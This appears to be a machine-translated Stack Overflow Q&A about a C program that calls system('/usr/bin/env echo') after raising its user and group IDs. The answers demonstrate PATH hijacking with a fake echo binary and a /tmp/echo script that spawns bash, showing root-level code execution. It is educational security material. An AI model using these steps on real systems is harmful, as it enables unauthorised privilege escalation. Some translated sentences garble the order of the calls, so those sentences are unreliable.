#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
我理解它的方式,上面的代码允许任意代码(或程序)执行 - 什么使这个易受攻击,以及如何利用这个?
答案 0 :(得分:52)
您可以覆盖PATH
变量以指向包含自定义版本echo
的目录,并且由于使用echo
执行env
,因此不会将其视为一个内置的。
仅当代码作为特权用户运行时,才会构成漏洞。
在下面的示例中,文件v.c包含问题的代码。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
请注意,在问题中发布的易受攻击代码中调用setresuid()
之前,通过调用system()
设置真实用户ID,有效用户ID和已保存的set-user-ID允许即使仅将有效用户ID设置为特权用户ID并且真实用户ID保持无特权(例如,如上所述依赖于文件上的set-user-ID位的情况),也可利用此漏洞。如果没有调用setresuid()
,system()
运行的shell会将有效用户ID重置回真实用户ID,从而使漏洞无效。但是,如果使用特权用户的真实用户ID运行易受攻击的代码,则仅system()
调用就足够了。引用sh
手册页:
如果以有效用户(组)id不等于真实用户启动shell (组)id,并且未提供-p选项,没有启动文件 读取,shell函数不是从环境继承的,SHELLOPTS变量,如果是的话 出现在环境中,被忽略,以及有效的用户 id设置为真实用户ID。如果在调用时提供了-p选项,则启动 行为是相同的,但有效的用户ID不会重置。
另请注意,setresuid()
不可移植,但setuid()
或setreuid()
也可用于同样的效果。
答案 1 :(得分:0)
实际上,在系统函数调用上,您可能会遇到echo
命令。
例如,如果您执行以下代码:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
您将获得具有文件所有者权限的shell